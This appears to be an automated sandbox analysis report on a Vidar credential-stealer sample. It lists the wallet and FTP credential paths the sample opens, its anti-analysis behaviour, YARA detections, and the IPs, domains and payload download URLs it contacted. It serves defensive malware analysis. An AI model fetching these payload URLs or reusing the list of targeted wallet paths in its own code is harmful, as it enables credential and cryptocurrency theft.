Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: build_2024-07-25_20-56.exe PID: 2260, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.3fa0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.3.build_2024-07-25_20-56.exe.3fd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.3fa0e67.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.build_2024-07-25_20-56.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: build_2024-07-25_20-56.exe PID: 2260, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C450C40 sqlite3_bind_zeroblob, 10_2_6C450C40
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C450D60 sqlite3_bind_parameter_name, 10_2_6C450D60
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C378EA0 sqlite3_clear_bindings, 10_2_6C378EA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C450B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 10_2_6C450B40
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C376410 bind,WSAGetLastError, 10_2_6C376410
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482971 Sample: IRqsWvBBMc.exe Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 60 steamcommunity.com 2->60 62 171.39.242.20.in-addr.arpa 2->62 64 3 other IPs or domains 2->64 78 Multi AV Scanner detection for domain / URL 2->78 80 Found malware configuration 2->80 82 Malicious sample detected (through community Yara rule) 2->82 84 13 other signatures 2->84 9 axplong.exe 19 2->9         started        14 IRqsWvBBMc.exe 5 2->14         started        16 axplong.exe 2->16         started        18 CFHIIJDBKE.exe 2->18         started        signatures3 process4 dnsIp5 74 185.215.113.16, 60778, 60779, 60780 WHOLESALECONNECTIONSNL Portugal 9->74 48 C:\Users\user\...\build_2024-07-25_20-56.exe, PE32 9->48 dropped 50 C:\Users\user\AppData\Local\...\server.exe, PE32+ 9->50 dropped 52 C:\Users\...\build_2024-07-25_20-56[1].exe, PE32 9->52 dropped 54 C:\Users\user\AppData\Local\...\server[1].exe, PE32+ 9->54 dropped 102 Hides threads from debuggers 9->102 104 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->104 106 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 9->106 20 build_2024-07-25_20-56.exe 1 38 9->20         started        25 server.exe 9->25         started        56 C:\Users\user\AppData\Local\...\axplong.exe, PE32 14->56 dropped 58 C:\Users\user\...\axplong.exe:Zone.Identifier, ASCII 14->58 dropped 108 Detected unpacking (changes PE section rights) 14->108 110 Tries to evade debugger and weak emulator (self modifying code) 14->110 112 Tries to detect virtualization through RDTSC time measurements 14->112 27 axplong.exe 14->27         started        76 91.92.250.213 THEZONEBG Bulgaria 18->76 file6 signatures7 process8 dnsIp9 66 steamcommunity.com 23.192.247.89, 443, 60783 AKAMAI-ASUS United States 20->66 68 5.75.212.60, 443, 60785, 60787 HETZNER-ASDE Germany 20->68 72 2 other IPs or domains 20->72 40 C:\Users\user\AppData\...\7847438767[1].exe, PE32+ 20->40 dropped 42 C:\ProgramData\softokn3.dll, PE32 20->42 dropped 44 C:\ProgramData\nss3.dll, PE32 20->44 dropped 46 5 other files (3 malicious) 20->46 dropped 86 Multi AV Scanner detection for dropped file 20->86 88 Detected unpacking (changes PE section rights) 20->88 90 Detected unpacking (creates a PE file in dynamic memory) 20->90 98 9 other signatures 20->98 29 CFHIIJDBKE.exe 20->29         started        32 cmd.exe 20->32         started        34 WerFault.exe 20->34         started        70 vaniloin.fun 104.21.72.79, 443, 60800 CLOUDFLARENETUS United States 25->70 92 Antivirus detection for dropped file 27->92 94 Tries to detect sandboxes and other dynamic analysis tools (window names) 27->94 96 Machine Learning detection for dropped file 27->96 100 4 other signatures 27->100 file10 signatures11 process12 signatures13 114 Detected unpacking (creates a PE file in dynamic memory) 29->114 36 conhost.exe 32->36         started        38 timeout.exe 32->38         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.92.250.213
 unknown Bulgaria
34368 THEZONEBG false
198.46.178.145
 unknown United States
36352 AS-COLOCROSSINGUS false
77.91.101.71
 arpdabl.zapto.org Russian Federation
42861 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU false
5.75.212.60
 unknown Germany
24940 HETZNER-ASDE false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
23.192.247.89
 steamcommunity.com United States
16625 AKAMAI-ASUS true
104.21.72.79
 vaniloin.fun United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
vaniloin.fun 104.21.72.79 true
steamcommunity.com 23.192.247.89 true
arpdabl.zapto.org 77.91.101.71 true
157.123.68.40.in-addr.arpa unknown unknown
171.39.242.20.in-addr.arpa unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://5.75.212.60/sqls.dll true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://vaniloin.fun/Coll%C3%A8ge_Ahuntsic?zejw3gqwmp0vw=R8%2Fu9J%2Bj64IFw9x63%2F9aOpnzREOZKM709PyrbqHMCEioUh%2Blkv89lRN48Nn9a3rmWypKncjDf9lPiVhJRxR02Q%3D%3D false
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://steamcommunity.com/profiles/76561199747278259 true
  • Avira URL Cloud: malware
 unknown
http://198.46.178.145/7847438767.exe false
  • Avira URL Cloud: safe
 unknown
https://5.75.212.60/softokn3.dll false
  • Avira URL Cloud: malware
 unknown